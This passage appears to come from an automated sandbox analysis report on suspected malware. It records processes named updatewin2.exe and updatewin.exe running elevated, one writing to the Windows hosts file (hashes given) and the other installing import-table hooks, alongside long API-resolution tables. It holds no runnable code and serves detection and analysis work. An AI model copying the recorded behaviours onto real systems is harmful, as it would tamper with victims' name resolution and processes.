Get Address c:\windows\syswow64\advapi32.dll function = InitializeSecurityDescriptor, address_out = 0x74d54620 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
System (256)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-13 15:57:25 (UTC) True 1
Fn
Get Time type = Ticks, time = 111743 True 1
Fn
Get Time type = Performance Ctr, time = 17032314939 True 1
Fn
Get Time type = Ticks, time = 111868 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = System Time, time = 2019-07-13 15:57:26 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17081934470 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #7: updatewin2.exe
654 0
»
Information Value
ID #7
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:50, Reason: Child Process
Unmonitor End Time: 00:00:52, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb14
Parent PID 0xaa8 (c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B18
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
updatewin2.exe 0x00400000 0x0044CFFF Relevant Image - 32-bit - False False
...
buffer 0x005B5000 0x005B5FFF Marked Executable - 32-bit - False False
...
updatewin2.exe 0x00400000 0x0044CFFF Process Termination - 32-bit - False False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
C:\Windows\System32\drivers\etc\hosts 7.92 KB MD5: 360d265eddea8679c434a205f7ade7ad
SHA1: e17d843f610e0283904e201195360525ae449a68
SHA256: 5a1597c0d29dd475e33cd8889d7d848037a8c17bad0f3daa022fb889e0db7ead
SSDeep: 96:vDZEurK9q3WlSyU0FXmGZll0TOHyF9fAHLmttA/ZKTKdIlMHqzoCGbXx:RrK9FU0FXmGZll06m9fAH6AhKTK9Cax 		False
...
Host Behavior
File (9)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Windows\System32\drivers\etc\hosts desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\System32\drivers\etc\hosts type = size True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Write C:\Windows\System32\drivers\etc\hosts size = 7286 True 1
Fn
Data
Module (135)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Load api-ms-win-appmodel-runtime-l1-1-2 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe base_address = 0x400000 True 2
Fn
Get Handle mscoree.dll - False 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 9
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSize, address_out = 0x76c3196e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x74fafd1e True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
System (256)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-13 15:57:26 (UTC) True 2
Fn
Get Time type = Ticks, time = 112086 True 1
Fn
Get Time type = Performance Ctr, time = 17067164226 True 1
Fn
Get Time type = Ticks, time = 112180 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = Performance Ctr, time = 17122467732 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #8: updatewin.exe
712 0
»
Information Value
ID #8
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:50, Reason: Child Process
Unmonitor End Time: 00:01:03, Reason: Self Terminated
Monitor Duration 00:00:13
OS Process Information
»
Information Value
PID 0xb1c
Parent PID 0xaa8 (c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B20
0x B44
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
updatewin.exe 0x00400000 0x0044DFFF Relevant Image - 32-bit - False False
...
buffer 0x00245000 0x00245FFF Marked Executable - 32-bit - False False
...
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x0000000000230000:+0x16785 90. entry of updatewin.exe 4 bytes kernel32.dll:QueryPerformanceCounter+0x0 now points to pagefile_0x0000000000770000:+0x890000
...
IAT private_0x0000000000230000:+0x16785 121. entry of updatewin.exe 4 bytes user32.dll:CallMsgFilterW+0x0 now points to pagefile_0x0000000000770000:+0x890000
...
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Module (169)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load USER32.dll base_address = 0x74f40000 True 1
Fn
Load GDI32.dll base_address = 0x75ad0000 True 1
Fn
Load COMCTL32.dll base_address = 0x74820000 True 1
Fn
Load WINMM.dll base_address = 0x74af0000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 8
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetDesktopWindow, address_out = 0x74f60a19 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = InvalidateRect, address_out = 0x74f61381 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = wsprintfW, address_out = 0x74f7e061 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DrawIcon, address_out = 0x74f68deb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = FillRect, address_out = 0x74f60eb6 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetDlgItem, address_out = 0x74f7f1ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = EndPaint, address_out = 0x74f61341 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = BeginPaint, address_out = 0x74f61361 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DialogBoxParamW, address_out = 0x74f7cfca True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MoveWindow, address_out = 0x74f63698 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetClientRect, address_out = 0x74f60c62 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateDialogParamW, address_out = 0x74f810dc True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SetWindowPos, address_out = 0x74f58e4e True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateAcceleratorW, address_out = 0x74f61246 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadAcceleratorsW, address_out = 0x74f64dd6 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadStringW, address_out = 0x74f58eb9 True 1
Fn
